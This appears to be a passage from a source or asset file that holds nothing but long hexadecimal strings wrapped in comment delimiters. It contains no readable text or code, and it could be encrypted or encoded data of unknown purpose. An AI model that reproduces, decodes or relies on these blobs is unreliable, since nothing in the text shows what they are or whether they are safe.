04f917eb165899707fe3a6cca15e91451ff5447e804e54ed31009ac1728923669e32b73192295c12b1aa47aa6f0c22503a503ad74cf3abd15740c254d334afefc043f95b1385f67f0a951ceaa6dc2edca714cddf7dc756c07fea29fe221b4a0ea907a4d7217e6d8ac857b4fa64e307f1bbe2a92c7e09415a3a1288aee6a2522056ea4870721c1b34ffac46da546a371a7db6aedae0ba5a14985629e7342fe48da7ce212a5f1da7d3c276ae1affb87e6c2caaff4d6862694dea9e603521312732d4aad1d684774adf495960d14ccaf515ac7e583ec4116fa5fae4499956273b973042fd9e4c3dd5e26bbeb577bc70ef2cc998cbe44fcfb3993d50250bc7a14cfc42411224155b6c26a6e4baee2e65a0c6924bfb66924064033b90309ce9ee456657aa8998634f9b3bf5e1e0c309080ebf2141fe8bdb84bde657b7e73aaa91d8a2c6efa592c8ba47a2607b9d88e200f20eda59935f33bbf7eff2e983f34262241b87a46425e55185354d83192077e43267a5d048d537c24bb2db454c6c8e1c3585a76474c4b4cec0ab5124ff0137341a72cd230ff400f6bfd387ef82506830faee4e3fd7ebd8dadd0773bc55ae76ba49cb2a7ba8e3e14bdd70374c2e7a360fdce01e5b750205044315f206c26506e245cdda241dc2c01e165b6a1421e0684df2b0680a6a394c8e23dbcaadaf6f838a1f1f1b1f258de80c18cfb84e2b6e5ba273eabcda3de61772a076bdc8a5aacd9ad6feee2461f7b8fc7929356d535b72c19a0d2f964d4e66903ae890cb6eaadf60466038162068e67c48c8f10aa3bed10e49a64f3d695e1a54a3b4b2a503c3c755311b566bf54afa16f8d5feed2be87581d40356273781c1b3f0fb081cc4a0ee0b5a7cbee53fd1b50b968c7809115ffa8ee5352efabd6b526ad2ac038d134b0e3788a015e6ab65e179a0911f0b110002a6acddaf63a48faf21eeca9889781c0e4eb51f2cc7b4088aa06ab093d0f1c2099dd86d34fc530fca977caf0a4134f866e71af8de78e81f085e72e192a4e982d5a824a2b8ce01fefce3c1947c71b0b67936c0e1a1d54658efdb6ae4a02e1e81867e81f7b15674946547604eeba947373dac4e3065aa65f14d0703d5744f8fa946db045639285c45424a1e574b20120784a0b5987084b267cec242eb14328ea4463b6ae5afd0c1c90ab39b181454c1257b8b798b1d8e193fbb751bbf389b5f94bea9a883d1e5409191a4f2d9f8887a491dc19347ebbfb918faba18db6ca3a252d3eeb1ba6d0886fef766e90f340b4946962c2e3bb64f1667c2c87de69d3c2f267b0d8afcfc3a122051f29b9225da84b73d7d398f5b5bc261a6e99f490b986b4535803c8f065c322a591544549db1530fc7446badd74cc2b23aebcfdfbe5db69badb84ad8e09a84f7f2884634bb234300d3f0399b0c7acbdf309b4fa7f9efdf4e624bf6da4536643e0314e3e47eb1913ff571ac2b2ab12930068e241fdbc1e54369ca7c96819141d611d3435c1d706051c631da969eaef29e13b99868ac04cb48e2745019258a7a0afeafe1ee7f51f22c2039662da46a727297136af644bcb8e46db9ecf7ced1eba258fddfeb41ee45be49e275e5023cbf9f893447fa45c42e4554064a9ad3d7f85dbb398ab99fdf71f0eff648376f12ba0b49f7047b5cdbaf7d006cdf9ab71cae10ada93ea2cfbc38f87cf254c5ea1cecac08d4f0dbf4a5a04b785acab845b001f4c2bcbdc4b272dd62a44504b126beb7c0edff6f6842846b5a1b60465535c136cda28e7558d209108964ab5a1894650397ef907c4bf6f24935855916be2f55ee11f757d20b37e6496bb26c85d3f2c07e0816daf1535c6f2e79532bf6627d9308363f668cbc45af6bf1282ff225298538640e87e5fb0c4107c599511b9dbfe53c77b3e1859b6949cdc052444deee6a98db5c1b2b651d8f926ef6f3aa2258ddb957bd396cb0290df06128daf5d17e5c7f93dc99f125083082458a5eb6568ed819f37bc90156d7c7b984f047eb493d4c716ecafb0498c88a835477d2474e60cca9159826edd*/
/*6d50e719a559d1d6097ba5e031e7bc4c068f4471553b82d5169d81df16eae917a5919a2dee654bd1a8764ea0f6e64ab1d5e6b95e364c381c8ccea9cc2be45b0aa993ca31306501a281f009ce86cd9defcdbbbe6e7239d33f6a00674019922666ed72fa1e22097bd75dcc93fc9e6e18a2d32d05251db0e6df02ef8efae2a2b0e8f862e719c4fcb9f87db70018ac01408a3a99f909cd8403f7b5c54fd07d2233bde10412d86eb546d27ab29c6587dc95cb9bb871158dd1555674d3595218122f526d55dc99e7cda561998344baa0c660d2d39a99100d7b665dff6b21c9258eec1dd717b91eeca23b6191848e5c6aefb0706570b7dc1d077834ec257b09a22ccef0a9453636cc19534faba0bd06cee78603a5cec20f451ee2f487ebd548469b96817ca97b3ea9c5622441920f7cddd263f6033e3df18e72c6b8f9a0db849d46ec719efea6c9ebb26b3532b93225adebc97a5ad6c47dd242ab4350fb6bdc88fb45e804d06f788d6ec41492504619e93614ffc6cd391745ea006ab3b0c786d2a721129cda38af2a98a9ef2c42462ba5c109ed7a0f7cf155afedbd7ed9a361ab846a82f98e442fd8889451e6fa83295d341af00f9a3cc5c522d96daa8d6f8a401071e48c13a4e5882105674a49ca24cf4395e967a4d43a98888515aad083562241e97d7c93d03fa7b6169b4195d94a151c822474a2ed0015c79978d8d28d54dc10382d4ba417bf46da8ba36267a5be032425b8af941662fe4699b7bcc2f9f07074f1873cd513a7f5fbf956cc9918f965c089de7409cfa69128c0e9b9d34e23edc9a3d7639279b06acc8c33ed9fb5a811f1d8813a1c7e9d6f9ecf87559c70aabb1c82148514991da663e29cd9525aea79fbedaaa4872deb240c6a609ca7c6a447ab3240bbd8c5149f7b1bb978981a374628b9b1c6a2b3ec56096c8e855073bf558ed0d3831aa690c3b11e926760378fd07f4fc901f80ac9edd4adb45b41047cac818dfc280c7f1bfebf19e19c1bbfa1515390fcfff55897417c60eff31ef3566cae7948f7de2474e3eca6cc219a8b172035098c2cfbb24374ad8f9f3c9c1dd830a66f8c7ce47c0b2ecfb1975d188ab71c4fdb0a8c56722e7ad24dd81e149bcd22a5e788de744d90040e92ec0ab82bdc5074d7e12f65180222c92f95d62f0648f3d264c8912f707f1437306b635a6d149c73a2f9497783d602f1f831b5e7c4645f7325be0d374cfd1774ac951678659e3b0f5b925333986598ef8e5f0610af8df6129dcd709cda3eed8c69f5933ba1c22ccf045a31b5aae7aef3e4d2c7d966d707d4b9c6da9a97f09f8c27e571f2273921fec315241a76b05f29455656bcbee6195e05d20b2a478cfad469cec949189d6549d5d6b060c38f170da85c6d6ba84a71461db437ac4d237a036b2f2a656b2c9d415fb296fe542682255c24d0daa50a3e443752d43c196a5260ec002eed7c4269206d3dd2ae6e7310f333b95d6ef77fb02c5e71c9436ae7908f51cdc1066ed4a5b833eb43be3500450320a9c2a1bc1345ef84971b834959bccb635452366863836d694365311ba3a3b7cce7e9819d0ceee8cf9d443b6f897c6fa362ccbcad7c79be0c273cb3e110dcb4cfdfcb51f4597eb4838d7d46b5166eeeddb7a792b674dc11fd65c9e955460bf0f9a420458c1677001f34769f1f28812f6eb15fe364d3b51b4d6d5a3629ce354cc29c4cd5af8a506488097e4206fcfffe6b532fe3cb570901fb6f6758a8e081b909cab7eafb36761b1b8762138902a83d23289828039ab617a47aae1b6102ac62c298c88c94bfb8617a1039468d5c1bf17133928d904570f7ff866273dc9db6462973a50f8a90afdcd0a394bae229b03af6c590717aa12e7c5920e2db369c1d00d02a8fbbd5ff3a47fddcf37a60095cf294301c5b5c7d7c77634e6c2057ba13d1a5b34efeb5ec3ec8df4cd3e74d4975e56aee183f98945e7dde6cb10e11d8f856ab748f84c2b5d2206760fd9dbc66b412f7d0976c68b69a874e9bcdf4ed87054498a9a93007328463180afc476cbeae300aade421b4b1dc6f652145bfdd43c0286f4ef7c10c62c42ab7b24722d763e1856ccb646af459537a11cd5021c7aa4e46e7027bded56424d69d85f8490f7668acfced47ce7ecff09fc4521f9d794941d2e60911e0be17fadd8e7637ace8ebbdf6405aed63aeaba2a7fce93a460428021130c24db1d9c0a0740a168cebe023cf05cec603faf7966849857becdd05f8fb1ec90ec3275c1cf944f1144c907487867f4a0f669ef8ed5ec597e744c3747c91bcd9f6c86be4e24eac0d93143e5107ae2d092e4d7af892e1efe12667d3a3f655436827b3d333fe8c4d4467e1378c846b04a20eafcdbf87ab97129e364b392cd1031aea94e6060e4c7d1cda02287dfb47ebfaf9fc778cf323273625f2a2a0b410ffd41fd1ca616a00e1416f4ebb690e1ddfe90219d1c4733a684b92eb871245f109c37de6574af36161bdc54f6d5ca62f6d49c3a5cca1780a2395a75a6f5f13ae04e089e1e82c645a58226ef067acaa7dd9bcbbab1da91f9e72e5d7fcef8addeadad4b15bcb60056a98ad15f97a7344513bfa007203bffe3fce3b957886fbc45664afdd1cfd9df01f59e23b7d3b6a91dcb1f27e814b9bff0abb534b6da5a0dadfc853dcf3f8085fbec443e3ec7fbfa7d0fd882cf7de2b49ca9efdbd83f34852735c3ee736fd154c0f39eae5f7316a6d9c25bed6f2301845490ffbd11bf32881acd7aaf8f9ba844edf620eb02029ba45fb979ad409846ab2e4714360d3fbbb5af28d72bc102ce80191dba8104dbbc9ecc3d9c164f55797f0d102b88f*/
/*044e4e46dbbe6d0b5bf05fc046d6a6d5153a144b77754f4db6825481345838a7f6e358e42781ebbc47f9e4d24b06c1578b7af54d076f31e2e05edd184b0dbdb320485bb844d414d571c47e1370ee09d2d564104cb0a9d61c48e0b1a86d93d25e0a8f8501a1fafb59e184feebd28896ff8258ddfdcae30f2ffc3b90794be595071947e8c6ba0aa4d3d74cfc2d5c12a58d1e38e206a38d0ae02e7ce2ad08e2040acea1e0243ea4534b57d64c637ee0ee4d5f532a1b03e4abd98b32281fde258a14f0cb9447a5b1547bccf74e4fb33d6295c46ebd12d55167f77d42cb4a37cf79d745223a17c22a61323cc6bdb0c907329fc03cf9361805fb169c9c695defc8f71cac89d770c3799d3e46584cefcdbb16578b15d52a72953497077c8ff73ea072c45441452cb3850bf1c2c011658d5ffa74c868c9b14947616fd61f1ef975dc7af028ca8419c23cfad7be4651050227522b930269815151d937ffde7f396d845d33d87f40e091b58263593b5c96a2c2bfd03aecb0b9a01399ebc7325190fc00934e34fbae639f2035be2f935518e405d02abb9c5e50347425b2a0b6bf1ec2f19fbd19a898e99c3d3cf5838c8d056d1961ef2e9a5e2d7ea61efd80b210e5c14c5064f22d1c76af710ee708b7fda4614f40ca2f2493ee90812b9e84baa563a6fa383db325cc18e7ec9a01b9139755fb50ecc5a991b2af2d59fb7af995f260b9ef33f8f4c9b84a57c751d5c6e44a1368226b0360fa69e93340aae72b45a26675609062b3cd7e8463ed220902b15cfe7a45ec46072a62f90d4e0953e28315b145b18bd12297342d17599c1731a49ffd56588475118f00d40b5cf04fc2e7af6aae3ad9a803b43df3606c3f1e46e7026967be357772a979727ca0319540bbf809ce1d814f37e8f97a680cb218bcd207d16404ff3144fa45ccb254ee01ac2d87f86d622610ede7ecaf9e5d557d76b751c21f6711440f88cbe54f06e220b8c78a39bb8fc82611a7db470cb84370c277bc89f51e927d2dd4336fa5ecf379f10dcc1be5e0411b78552679d5a37df7d83c71c2439c4277495acdd02b8d95eebfca6331a8cf3cf78f213d39a922a0c26493d6e26c33199c7dff0f284e3d6fc9fe608d185b7ea5fee837a78615f90869caecb228c0ba0b5eb6cbb4338df8b4a76724451fb8b52ba3cfd3b7ee32c5166befb2ccdac1b2421baa9e19c6f4037856656198a57bd181b1ce4d445a3288825e3563f598c3856b3247342def1e7f1fe9da961a38eabb2448b0603e76bfb0d87893f02d9c7aab804ba13fce5a5c359ea8d75b5110dc5769dd579864b3cc237c71db97e88bab5a93aa07441bc0d9bb053ce7e453f5cf1159246986c6f900ef1c9cd82a66b1268ca3e52106eb92c75b0e35d8fe16ea8d00697971f6588ec31d50a16fbf763f9bba3b85ce18badb3e3de1f23dc4e9bb2a9b50c7aaa46d0c3dba56c9fac6e9ea8d38c029bed15c9def1146414dddccbd8773f29bc580a9fe4df74ad5bc5be36707f3b456632d8b259abdd30ac43b91209998cb6347f0fe7251fe27a66946e138f3aa92cf3f3722642cb02b09813b730a472e70ce364baa0067462424391b3a6b7e84b9debc2de39c98aa617837510183e4fe93e17fee8480399749ab32ae5c12f5403a1e0e8c8fd7496b97a8d535c5c6579c3d325bcc66f4f43cb05773f9c6dcb9d982642f35b9b96c4c2d164e55dc9483e60fbbdf0c72abe588af8e2d068dda2fe70b412508394a1f806a38573a21987c11c6744e84a73f8a118c278665a3ec6d1a039c05c1e1182ed9793d2e7d1a9a36fef76bda7c4ccc0c0c0c1fb6e69fe1108f2c41b8f665d6bb86fa6b4524c36ec8d513e5a737ec26d352dcf833392f22f4f3200f2c4cea9559e3493bda6646a74d3c5f3c9ee28d2cc84778f7a0f39a722c64f50773ad442dbe2c77fff0f5ea05567bab60f194cfcb264ff7fccfb31efca80629649dfdd18ddfbea9f6c775c8e3b68d9b2cf0569894559faf0b2c0a9d023578a51d9d98a3a116a5e0c65f843505df9b4f6c78d26f4f2cf92e3d7ec2ff9de9c7d0fa607cff1325d313078ffe163669b6da575a6038343ccd990bbe34b15b2d20938e78b32d16d96b026766a283e2115d1ab3114e0d06727eb4047a9bb23a6a44a3f72aa8bc3551ebf5b091db9d86235d0adbec65bd9cd803bb20426bf05cb066d3abd13fc476c24e5e3d2cbe3ee7580f1fcf70b458728e1e195bfa78023d0cdac5be83f25a8d5521d482e851014c1acb6c1de696091d7ef2e956d724fc62d5270f60074fb726fb4af585f46c19e9f91aebf596c85ed2ad82d5a3ce78aa797fecb507e835a437913887dfd19b778fd84e6ba85e4fe584cfdd8d9cb840e3242190385ff1a47241c319cd831f14411f35b8285e0f09c59b9488599f97ff4c7c1302d9e9a6e79301878cf4b00ef2dd750e21c58e348148a37a99a309c993fe219231dbc7e3de1cbca3c1d971b461244bf1b7225913eb1ca9750d376bfe2d77c824a1389a1abbc099fdda9d1ba8fcac245d4f28da14b64cbd86759823d86ef3da3859d918a84983c11065d3ce610af1a1834ac2b707583c32359f1500f3cb3f2bcf1e8840a9b67683ebcbd58a08d4faa2938baca480352aecc6a817a411d8bfbe158bb6489bfcb0428664e433d9d8f5c7aca1b2c6c4dc7c1effb040c2fd32f374aa72eb86a19b3b5b9a85c61377107f74e7137c97c3aa49943740d3213b5dc131cf9aa6456e091ae270187b63ca6b0388459a824bfcc945f4c62a25dffe39c4d908a365f3c06f6d3fad69c60aa364946a681ea98cfe45c3b1b6f1ed5134a98f99b67b8219*/
/*abfb6e577f490c3b8c2bf266a7cb998f5ab4d3f01fd015c8156f2687ee87adbe2a218cbffc656d718e7329d3815cbe7380b970e15b3e0dcd9c789d35acf926811151b3b0bf665fd36fac9a0674a95621b216f156d449afcd290460d58c4be0c857cb42ed5897134a306e2e89f60249a4e264b807624dc21de8e0c434f696998927035771331b60f0fc6357626bab1220d59501513d97bc9d3839dcfccf8c0828cb5b323565affc389edaec4bd2ae7e590c9f9a3a22ae3d068241bc461b9e4c77b83f00c85c008a6b412224f6d9aff6e80dfeb7196cb709ca60559a88606b851db04f9e026b20fc745ee365605bf5a0bfe602b0a4f7740892b6c8a222134dd816dab7788e29f892287edfc6107614501d5225ead3077fbcb2264a1007176b2045738a8948fedc4e0039a1bd236e44e5699851e5fd10349db0f1ad3fab8ea2a4a95166ed06745569b85082f18d506225ebe2368f8100d053e5aa02466bb7ea4cd7c884f59b1fdaf22dce93b7904fe09b169d4c40c2c2b9b41d4db7693ef2a0017b6d1d923b064098296bd14609c41142c0ac2219866b2e909689b929bb4fc797da50c83d40ed7d80f9ab911ea7cd8ca01ff25858ad40b4c30832d83dd48be47131e0083ed8be00f842736c9efb2a681e3d93892f8a808c01c73400a0f76a45475b8fcff2c8c6f49b7d6374fb0a71e3efbbba15e3be3612ae87aa68afc5085ae86eb80fea78d7b9c1309eec27f6078244aa7c2cb0ee3e59279c8e98d00f59da7f8022c9bbcdaedefd2a4a0bcd99999ac7a32c1a42273054b11d8cda614db2e4c3ff4e33ced67bb893779c1be8381f9ce37e5442a788e0fbc5c80c295614a7eb1aff905abef3158676a81e565aa547d3d0590ddf14cc794337e001bf5dce30e0e44e2bb8e956fd5c530386231cd8afef863631da2f32984d85962e2bdee61c18caaff9456b4cf8d51616a59a373626da1c23267487fdd834741852b093c71297b3b9a6bae4563d9b2874cc1ecb398a00e3da0efb81b1ca8deb63f86225ce1948439d7d79ab8f979d9823afc928db026cd4a196eaed9a7c6376c4fad104600f77a3c5d918e9725a512f5cc0bfbbb98ad2d61f1cbe8a08538b757f6434d17cf1aed466cb0cf45956db71cdf8104f4f616af24617cba9ddf8c5ef8f2473cc2c0731c8c6bda33c2360986f595152d9a6475464be14ff266a805bb7db169c5f35c995f19cccd5550f74673ddbb7c151c365498f512563bf2578baa26493692bc1c831ee38ca31ed9dafbb52bb1c048d3a28056dcb5a9ca78df533e91974972c781a045b6e2cbbc4b6e57e524652888d4bb0c9276339fe531eee6415876bf5948cbb3cfac9a11303d7b0d5eae8efa784cbb2a8435f31bbcda74c81414fed44c4e053aceb69c0b412bdb810cee9621e141bda8526e59afd08913f52bbf19e5b7c30ea94216b3f3dfe4b948909a50749ed890586e2fcd16179ff4af0083259ac2449cb4a32dc642fa1017d2c7553167e4eeab0710ee744b9a44c0501ebe702ac16b3802e5c0741ebc41dfdb634a0586e02a83d633ac2cfa5e90d31832cd9206a8995df16436409e3714383467ab4b7201fc3da43155da031c7aed7c4220a7406551e2db37dee08caac76693ca6db93a22bc1a13877c2f820416e831a87acee0743302c565a3d11e2a1889c1175bf304594d3a5aeb2a376a0e5e068ef24719f29f367e69b7c2f64117757f46b6b9dbf897309d222bee25dba763b1eec1e2b45d3dcc1c4fa03dd8adac8a306869223f1d59015aaa87ea2a5af0df96d51bb19f70119b1ae1ff51121eae9cc07184121b2b0182d6e8dfc68eb3997c8b80541dfb3fd130cc859183292d80d1218ca9e6e6043e740ff3a3c1602cfa4161933b64c104af315ba32c0fa6c09a49bde7b81ce78e1660da235e04db09f3eb8f59f427c75927fcc901698d5fe2b692fc494eacd9b6f13e71566101de06a73340d9d3bc5e12d5ba3937335e2ce3d1b73c60ae9b5b986d75170ad5cd7c458d22f0cf2a474db3a407258b9dcb05bbfb141ef9ce43343d73b9e632d1941d0f189982ca097be6d907fc0cb653a4f1f93b6196b82bbcb0ba754f1ca5499fc7b5df1927caeda5564188c76b87e89c3a986c3baea1d1630a63feb817323016b295e6202cbf05f6a0ea779e807f74110768ac6fecf1141dec8ba234a8458075a53d21cf01441d0baa6731f637f1f51b3bddf0ae837bb78cf744ff34f4a856312e1af3a64711f665d401aff82946e55decc10033035e4c76b4661fb57b144654b4514daef79287735ae87b694394b63a53c972f043ea098c7733b0b622e839a11335fc7fbf7ec9ebb4a77d548eb6117320e56e3b234aa6986d064272e3c03f4153d1151823c7c247c45a26bac82ce133acff7f8ff22c2e123e025a1ee848967a30ad0bec17eefd4007c84644053cd6088b4413e9ef3e97cabf86a3802db8b57184aa104df6bd099400e24cb15bfa3ac0be7e26972d364fc7c22f73206e047adface2d4d0ce183a1907716766ab73eec01174ca297fae81a49ca6e45a54707344969dcfa5c2ff6a33974d9d85ee52b2bf205a47b19c2b0ab2ae3090a3972a2b7ee6118a2f7d994331a2611d3aaf3466d81f52cc33c280c3158f1c96eb4abc5f72f7619f26747475a2f8b83de06e59e385bb26c6fa473c593f9b4a95f531f99a99ee619dffc4d869f05e5fa5b921978430bee44e1c17242b75ed3f9e5abc6476806329556445f2f8b6b399080c0e75fddfc3f011e7b987e3a9e690ab2c035855d861f81a26aec65d200e6fe77b01332f12c8b7479e5a02ed2e8686d6bf758612962*/
/*c04efb0c34f0cb55f9e96dde80fb15237e24c01a6b2e45f093d14cd1a6527d05847422687eab3ded3d7b638cc273bfc692f906cb1611b55980ecb21f541883844b0d12b395802f4d0441e171e177cdebaf100ddc59b49f5f0fc2ba2159051847aa199b84094499d3b4659bae326ad2caec044356d240f576c9356578fc80bd21660f22d3171979e4d56415cb08148b87eff8b3ef571e0bcd41696e45243d126ed181367c7e5c734b58a92437595b2a62ae17db1302d3356d95cd2e314dd0e6e1368044db167e76c9056370cb8be355a40fb686e5479d3e613912a729be7cb04a10fc92f2d350f22aecd0f946122410f652fd74e790511cb0c2063e67c10dfbe905676a40c6df2665ca738f517730e2b9a6baacee0bd27b62de13e2b5c07a807503393c26c93450c44e8e142c1c4dcde96436c5edec941ba55f4444a032e5ca78ca652c2ec088ee48ff5c69d3224933989ca94ec5f73bd5ef86c5b0e0cbc72362b43af26503fb9dd9b9fee60717a8f194acee3414c57ec002472dedc511931e17c7a5e732a7a0ae22a53bf22a0067169f53ffbb87e75947024b290417cbf28a8e7a01c81a912ecfac849832cbb33123e175eb3b55085eb4099c0942b818eba43018b2ed060c1dfc6ed52d6bf0e9144e1054aa8fd2cab257201e1131ca2e2fbcd97063a759f7930daea676d2a45a00657a3106f445f3f7f0691abc02e033f6ee7e7c1411b9d7dbcf8c220cf679f3033eddc83b7ba9f4e9818143a6cb61ccb41b0142a5b1b9c7aea69da5d47c6f6e5b37789f1151322bce46c81e1924c0c65707af2cb0a72c877730b6fc920b963fa4f1c817684061a7f9dd18672a1c858639b077255fc9ec99f1119f6cec17de546146e39774758ccacb5e173f86c9a01f1975aa0edab31f1c7fbcd2af4e03ca3d3fcd91397cb10ba04dc8e0ce21b2e19f2d186953655a9b38f49356dcb225ccc20f4d5b80f0a32224de0ae2f2937458d19a489e8b98e3342fb0bd5eec2c99a0a5c8108341f1551fdab33f9907e3843b9defa2664b720210f39e2a7afeffd46775fd746abb72e0126346db6d6f0ab7fc26db10744bff606fcb970cbc0b4b59ff40c76726be09daa3ea0d01e09ca589ac138d04462940535c6bc6a34a059561dbfc2ea5f835edaee55eed89cee6b4c0e597c9faf5d11342e0b81e4b93e6ae68304c21b81a0c5da16323918908c4af0bb557beb1bf9e1dd9aed6fb2600a3d00d9bf5fae482a4ee3a71b00c5ddb35a66ef4897a9907d0a59f7baac6a17defe42f6e2404ec13ef59c7a8404488b37da5c33b3354db85c316cdf38d9c47f9974bf4a22ec617a95e93131e18348f66db3dba8842efa66ccc0841e0d4b50df4e38cb9b9f87635f61dee594af15b5729516b665d1a78ed736f1ed8ce493cda49474dda71262eea19a3db878e2d1c541ca93b095f04bdcb03dbc49c72a34a88cdb7c40d1aa4edc0491cc410d77ce32f6c8b14363e880786112f87117c9ac1433649ee003c8378640c4709e9aef6d9c7cb6f43a58cc473cf89d6de5b0fcde0f6a0d0dcbc3a83c96639047afe6e9e112299f13d3654f1770713ef98071a50ef974fcadeaec919cc55163d21d5d3d76a51b33eca405784069c62b2eaf108b7a1cb8ea22401ef4dcaf176d2c9c0dc29f1f9012a5953de82c2531bf1cf05c5227017ae1a83847c6047eff656a5cd9eecc95497eeaedfabd9bf3e7291e18be87daa7ea2bf412a2c94d7d18cc87825e6f9dfb8c585e7e7b9fcb7fa9a75e9b96f46014c774f4244daff606048e6990a8efa65fcc5dd7ddc252f8f48a68f76dbce5438c43be05d9a06d9630e72c4219b8f583c8670db3353573a8fc93018e6142b5546070c08957c279e1e5591341a726df5a91bec3a70a3beddb9bd1eeaeabb1227127b315739d5f6c0904916d46429a29af56d91c44cdee8d9882a988bfc5d3cc817285d00c65c7c7ec47589ab161f47f069f4c5a0e0e3126b183102ec822dbb870ec432462527a94117b0dfd791cf06f5d93ae5e4247eacec6850de40b6344cdd395a7c4a94a8360fe9369269d3ed86538980d8c40d5a4c8b8bed53bfb840b899b06e076705d99f806e09a250d45cdc7fb8788a21e3d8ba5028bbd83508d24fb4b34f99934ce161ae78875021ff9e98be6ed7b0bcf90c079da2b1d66bfa8d5df3c694ba2f9591235dc862960f0f17be13d1a686d17f7bec15367e6ed17eeef874087c3483d2b430db029f1184e27f7aad43e8802821686da56295cf889f065d68cfb0433a3528f06161db5a5f10e9c5f48d6b6ed8bb6ca694a8630e5c796e77ab1c6f3a559d77b43e2362f050b44bc18ad33f61b29a1bd3270043b1ecd2fcba000e8f14db9617e7c4df9c0c4d4e417979b6e44f925547c5eba50bb2cee258350f02739e6f856bb1888c96e9bd9513f11dfb81e75f0de35b8f29dbfeb91acb092ac12e9513dab2e90d29c11213df7c163da5244feb42daedb15bf6ab4c4a9eaf9db34892af2666e696bba885a92887262ffc958a58f9246d5def27c9c118ec3bf0dff5524c768d3cef23e1f7065ad374460ac71a84a443f186494854dd4c1dbd1de7cc2add8a010123ef5f18fffefca3ff902cf899f5ca8b13c689744f105d55d8be73be2cbe36dd78ebf888c60d48f3a15d2264005a934e8e5ad8112ee89c4d1fbc1e906d90db13a9d9cb1e95c507475204626ce10882c2214e4956e339e58f1475687989c90e14d091af98f8365d8df95c170e5c58564fcc27cca2fd798f72fede78a8795a7d232040f8a76114f00c4ee0abc9d4315dabb77d9b0d076c343c49c6f9e4497dd510c98e2791*/
/*d6ca4a8f1290c64cab24168cedbbcf02f84de63838137f63dbc1f680022419668c6a74fb7154bddb98f8e62b2e1982bcb5b6642aa1c1439768e77c38ab136191d6221fa9f3af113e38063339b8d804724f6534711e46299fe0d33abf046228eaf18b0e424c72cb7f970f7798770f103e786f3f173f1051b64fee9ea64fcbef40d9ed96fc08df4bb7a13c94c5c745bc7469b7452836a1e735578992186752d115554d78a1bf6a08a869ff7055b1db2202e696ea284fac66b7f2474496041d40104b1e429d3e790e0b8ccfd70d867a88e125363a9c8f3debba9718c7a336c3541649f31d74784e55e9a26ba470a7149178ca1c550ad83e382a561385b9dae926adcfafa579873207c6f1d7c1cf342ab2245f84160323f42cfc09b76beb731a8cce24f72792486c8b2407411ecf6c43225c26b5bb1b9f7bd8adcd9184427130f46720cbf61ac6585f13a02c2d84cde1e4dbc02668f440478e49c5f442365bc15682032d27b168e46fd92ccffc4284fe724f225f7af5dfea64862890d0e90aa0179fe6e60a321c8f3fcc7cc58505e40505fd2d43a3c66db9d98c314f4bb3437d8eaedd266ba10af795baf2db327d6709f0b39642f017aab0dd182d20c519468face4ca5303ba27204f44889f18a7aa0a364bebcb3d060ca617b5685fe70ecdda7241843ba364c709071b9eaffae6255049aba388501106fbf705626a1e39cd906697b4c5881594b579d8cef1ea2e158e0015c54af10f005de53a174a0868db5e58c80b2214beb620e3fc0dc1e2d3d49845a76e5dffe46f1a48ff632131fe79e88e2bbd58d032d83151f6a15efa806e769e1fd54db24c9dfe1ffb5e3cbd1aabb10d43c8355182b1a2352e74581c495db49d27940c4cfd4c6726abffdcd23012a88e8794b83623ea64fca7159f1880471979c6de4a3768618d5efdc9ab9d5d666a58eaae8599da4c3d45035cfbd2c036c9f7f945260bc7d14daa5a2c796a6e287315e4f5cf9094075664f86f61743866b10835a7f6ef4dbe80d0418af874ae912018e60c3c1becc68a02e34e91ada12eff66a2a37ac99c22e393a65f6564c7732caf21dd8b5bb3004609f89bf4143bba43564c1a9abfe5f1197e86833d24850e1a28d6a31a06686c2dbd71a2887f32d20fdaaa21bafa49ed38d5a1db0718ccac9967f72e780d216009d358e840a689790aefc76708b9dd891f749cd5dbc0edab8018b339b79efc281cfec8aaebcec7ba33429440804a49c08b1b184ef5240d1b0cd9e4da7225e84d21f6d3336f9189722f80f9fc353d7cfa0522e95e0b90cf0c5041c0c4e0c9b466660adcbdb6b7e249752ac48514b0698655ee6ad8359b9cc306c25008573a78d9995a57d3edd47ca31d28f99765cd8e43b1bd91df980b5265009aca10240ff1a8183d606cefeb97774c1a36c3b7d7fad17209c330d94f1247b3c8be1c75a42e1cb8b95bc6bbc11fd09cf9b1d6d5393673cdb17a674563e21fc1244d731dd900a152980e3001f41d9255f73293167b3f641c95e0ff4d82de1c015f46b3add8ea0d25ac9c2e50b7d874ad1353e9be0ba26aacf6a035dd1ba15946d9a05c405df7905137be585f2b9dd6e921c50fd50b2e3eb6cfb9dca70cca3927626d066795ec553698eed105aaea80e0a4a3f434fc968ab43e5e317e32f40911747e9e1df076cb7f5f5b3ec19e67a200b96f9f564b8cbeec4aaa3f705533bfc476df3f8a22c433f4ff07bdc22dd6127d6dfaba7754312ba02858d9e9bee7ee7e39775e90a65c63581c1e0d871e941340f0ec2ff8ee63f64996520e5ebb737f5a45f4e9bb27081f485077d0386963ad36a5f0c9d8d39e0bab862d6ff2d3291676ccf0f0f4c0f501448e97dc96e287d72a14c12d502a9023d01acd8ca568fc7cb2cb412fd2cfd64426ad01ae096a13d0b67e86c2916cf00493a0bc6b1fce4e1d3a5bee0b7ba02ef52db6473e28f1005476edc06020131d52bc0c51c3aedaf0ad866f819c61072b2c970c4e754d63aeaeb9597d11cb408023aab8c281c69eb94cd62df8d4f99280a9a3f8f85cf7b482a54748f394989456775a86a2b611f496053175edd531580106bf237c67362a1bf1c30d5390ba5e882a7068d4b501ea08f1456921ac4fef599d72ffcdf493bd1b1b80470f6c856c82c5b4289f667c9db8742db835e50c2d260f4f89de41f11a9328d58b14b4ba61e1b4eb9e8251bf5d51ec3a4536e4fd5beb1188d7b9903000fd9c713f78094dca4d533c736754152479179ada6a862391341d638449bf967e7986c8a16415014eb6d3cb68c6e21a6598c182c3e091a3d9268cfb64dd7cba180873e3e5b0f21dd3e36ffa89072e0adec8592b07fa8a3ffbd3844a571715cff9c4a5b24bf8a78bf476bd2dcdbad210be3f2a0ab9ccd73f39c15ccbcb2d119c4c202bb8e295c173b0d71cbbbe61711328ce16768bbd3bc92a418954cdf390927082a785f0918bdf797f92692bb3cf9dd3d7e4a73977cfcc6ab3a1f5d7acf6261ab8422be83357c3c0df1ca4649ef3298cf9d4487d43c0d2916b70cb96fb8e9cd1a41aad90d895a9bd95f6a12399719b28a0ef494e142e142f541617a5b5a6bac2203d27c6c4c20bacdb7e01d93af7889bc5e857d9bb0df7791e3a09873dd8131c692b8986c26e85f464fb8007b2b23363023997cd2fc8e0f450a855d81c9f91c65d91ddc3589f0565cf99cd6c8443910b6542df7df5a6ac87d243c51217ca89408d3eed20b8db0097f6ebc95cf6bd27b33c160cee810c3dbb191db1c41710c786bc5a37e582302d356f